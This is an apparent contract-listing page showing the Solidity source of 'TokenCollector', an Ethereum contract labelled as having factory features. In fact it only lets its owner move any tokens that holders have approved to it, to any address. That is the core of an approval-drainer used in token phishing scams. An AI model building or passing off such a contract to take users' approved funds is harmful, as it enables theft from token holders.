Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
}
contract TokenCollector {
address public owner;
constructor() {
owner = msg.sender; // whoever deploys this contract becomes the owner
}
modifier onlyOwner() {
require(msg.sender == owner, "Not authorized");
_;
}
// anyone can check allowance given to this contract
function checkAllowance(address token, address tokenOwner) external view returns (uint256) {
return IERC20(token).allowance(tokenOwner, address(this));
}
// owner moves tokens that were approved
function moveApprovedTokens(
address token,
address from,
address to,
uint256 amount
) external onlyOwner {
bool success = IERC20(token).transferFrom(from, to, amount);
require(success, "Transfer failed");
}
}
Submitted on: 2025-10-27 10:25:54
Comments
Log in to comment.
No comments yet.